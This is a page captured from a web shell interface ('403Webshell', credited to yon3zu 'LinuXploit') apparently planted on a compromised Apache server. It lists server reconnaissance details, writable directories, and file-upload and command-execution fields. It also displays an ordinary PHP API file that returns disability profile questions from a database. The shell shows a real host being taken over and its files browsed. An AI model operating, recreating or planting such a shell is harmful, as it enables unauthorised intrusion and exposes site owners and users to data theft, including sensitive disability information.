403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/GetDisabilityQuestions___.php
<?php
/* * 
 * Can get the default subscription values for a specific site, or the actual subscriptions for a specific user
 */
//error_reporting(E_ALL);
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/Logger.php');

//$site = (isset($_REQUEST['site']) && $_REQUEST['site'] != '') ? preg_replace('/[^a-zA-Z0-9]/','',$_REQUEST['site']) : '';  
$response = array(); 

$db = connect_lc2user_new('lc2admin');

SendDebug(__FILE__);
$disability = $db->get_results("
	SELECT parent.slug as parent,child.slug,child.name,child.type FROM `profile_disability_questions___` child
	LEFT JOIN profile_disability_questions___ parent ON parent.id=child.parent_id
	WHERE child.deleted='0' AND IF(parent.deleted IS NULL OR parent.deleted='0','0','1')='0'
	ORDER BY child.priority ASC,child.id ASC");

if(!empty($disability)) {
	$response['expires'] = strtotime('1 hour');
	
	foreach($disability as $group) {
		if($group->parent == '') {
			$response['questions'][$group->slug] = array('type'=>$group->type,'name'=>$group->name);
		} else {
			$response['subquestions'][$group->parent][] = array("{$group->slug}"=>array('type'=>$group->type,'name'=>$group->name));
		}
	}
}

if(empty($response)) {
	$response['error'] = 'Unable to retrieve any category information.'; 
}

$return_json = json_encode($response); 
die($return_json); 

Youez - 2016 - github.com/yon3zu
LinuXploit